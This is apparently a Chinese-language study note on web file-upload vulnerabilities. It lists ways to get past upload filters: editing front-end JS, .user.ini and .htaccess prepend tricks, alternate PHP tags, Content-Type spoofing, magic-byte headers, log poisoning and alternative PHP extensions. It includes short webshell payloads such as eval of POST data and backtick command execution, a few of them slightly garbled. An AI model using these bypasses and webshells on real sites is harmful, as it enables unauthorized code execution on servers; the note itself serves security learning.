4.26文件上传学习

lusang / 2024-04-27 / 原文

一、文件上传

概念:(不赘述转web安全文件上传)[[9.6-9.7基础和过滤方式]]
前置知识:(除解析漏洞)后门代码需要以特定格式后缀解析,不能以图片后缀解析;

知识点

1、文件上传-前端验证

直接修改前端js代码,文件上传格式;

2、黑白名单

3、user.ini用处(文件包含

  • 上传.uer.ini文件,apache中同理配置文件.htaccess
    修改文件为

    auto_prepend_file = 1.jpg 或
    auto_append_file = 1.jpg (区别是一个文件前一个文件后)

  • 1.png文件(?php phpinfo();?)

  • 此时访问默认首页index.php文件(调用.user.ini)即可解析到1.png后门文件;

4、PHP语言特性

详细点

1、检测层面:前端、后端
2、检测内容:文件头、完整性、二次渲染

过滤上传文件特定内容组合;

<?echo '123';?> (前提开启配置文件short_open_tags=on,短标签)
<?=表达式;?>   如<?=eval($_POST=[x]);?>(不需要开启参数设置)
<% echo '123';%> (前提开启asp_tags=on)
<script language="php">echo '1';</script> (不需要修改开关)推荐2,4

内容绕过屏蔽[],转换成{}即可;

<?=eval($_POST=[x]);?> 改为<?=eval($_POST={x});?>

内容过滤括号(),反引号名执行;

<?=`cat ../fl*`?>

内容过滤反引号,包含日志文件,日志文件头UA写后门代码,寻找对应中间件的日志文件路径;
之后构造任意请求包含后门,后门将再日志文件中触发;

文件头过滤,常用文件头;

JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47

3、检测后缀:黑名单、白名单、MIME检测等

MIME解析:多用互联网邮件扩展类型,指某拓展名文件用一种程序打开,如声音audio,图片image

后端代码限制,抓包修改Content-Type验证格式;
其他非php的网站同理,上传其能解析的后缀后门;

大小写:修改后缀大小写如phP;

4、绕过技巧:多后缀解析、截断、中间件特性(解析)、条件竞争等

多后缀解析: 文件后缀修改如php5、phtml、phtm、php2、php3、phps(php别名)